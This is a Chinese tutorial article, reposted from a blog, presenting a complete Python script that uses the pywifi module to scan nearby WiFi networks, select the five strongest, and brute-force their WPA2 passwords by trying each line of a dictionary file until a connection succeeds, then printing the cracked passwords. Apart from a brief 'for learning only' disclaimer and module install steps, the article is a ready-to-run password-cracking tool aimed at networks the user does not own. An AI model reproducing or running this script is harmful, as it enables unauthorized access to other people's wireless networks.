网络编程
位置:首页>> 网络编程>> Python编程>> Python利用字典破解WIFI密码的方法

Python利用字典破解WIFI密码的方法

作者:wujinmei  发布时间:2022-08-08 17:18:44 

标签:python,字典,破解,wifi密码

最近看到网上的一些作品,然后进行一些完善。只是用于学习,不要去干坏事哦。程序来源于网,我只是做了一些优化。当然这种方法破解还是有点慢哦。我用的python 3.6.5

既然要破解wifi,那么连接wifi的模块首先要有的,我们要导入pywifi模块。

有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的。

链接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg

本地安装方法:

1)下载解压好以后,我们用cmd命令行,进入到你的文件目录

2)使用命令pip install . 注意了(install后面有个点) 

3)然后就会安装了,等一会就可以了。

程序先查找附近的WIFI,然后按信号强度进行排序,然后只取前wificount=5个信号好的。


import pywifi
from pywifi import const #引用一些定义
import time
namelist = []
ssidlist = []
result = [] #存放查询到的WIFI,密码
wificount=5 #查询附近信号最强的5个WIFI,最多5个
def getwifi():
 wifi=pywifi.PyWiFi()#抓取网卡接口
 ifaces=wifi.interfaces()[0]#获取网卡
 ifaces.scan()
 time.sleep(8)
 bessis = ifaces.scan_results()
 list = []  
 for data in bessis:
   if(data.ssid not in namelist): #去掉重复的WIFI名称
     namelist.append(data.ssid)
     list.append((data.ssid, data.signal))  
 sorted(list, key=lambda st: st[1], reverse=True)
 time.sleep(1)
 n=0
 if len(list) is not 0:
   for item in list:
     if(item[0] not in ssidlist):
       n=n+1
       if n<=wificount:
         ssidlist.append(item[0])
 print(ssidlist)
def testwifi(ssidname,password):
 wifi=pywifi.PyWiFi()#抓取网卡接口
 ifaces=wifi.interfaces()[0]#获取网卡
 ifaces.disconnect()#断开无限网卡连接
 profile=pywifi.Profile()#创建wifi连接文件
 profile.ssid=ssidname#定义wifissid
 profile.auth=const.AUTH_ALG_OPEN#网卡的开放
 profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
 profile.cipher=const.CIPHER_TYPE_CCMP##加密单元
 profile.key=password #wifi密码
 ifaces.remove_all_network_profiles()#删除其他所有配置文件
 tmp_profile=ifaces.add_network_profile(profile)#加载配置文件
 ifaces.connect(tmp_profile)#连接wifi
 time.sleep(5)#5秒内能否连接上
 if ifaces.status()==const.IFACE_CONNECTED:  
   return True    
 else:
   #print("[-]WiFi connection failure!")
   return False
 #ifaces.disconnect()#断开连接
 #time.sleep(1)
 return True
def main():
 getwifi()
 #ssidlist = ['Oun'] #如果知道WIFI直接写就行了。
 if(len(ssidlist) is not 0):
   path=r"password.txt"
   files=open(path,'r')
   while True:
       if(len(ssidlist) is 0):
         break
       try:
         password =files.readline()
         password=password.strip('\n')
         if not password:
           break
         for item in result: #把已经找到密码的WIFI从查询中删除。
           ssidlist.remove(item[0])
         for ssidname in ssidlist:          
           if(testwifi(ssidname,password)==True):
             result.append((ssidname,password)) #把找到的WIFI密码保存起来
             print('Succ','Current WifiName:',ssidname,'Current Password:',password)
           else:
             print('Fail','Current WifiName:',ssidname,'Current Password:',password)
       except:
         continue
   files.close()
   print("\n","WIFI结果列表:")
   for item in result: #把已经找到密码的WIFI从查询中删除。
     print("")
     print("无线:",item[0])
     print("密码:",item[1])
 else:
   print("没有找到WIFI信号,请重试。")
if __name__ == '__main__':
 main()

来源:https://blog.csdn.net/wujinmei/article/details/81288212

0
投稿

猜你喜欢

手机版 网络编程 asp之家 www.aspxhome.com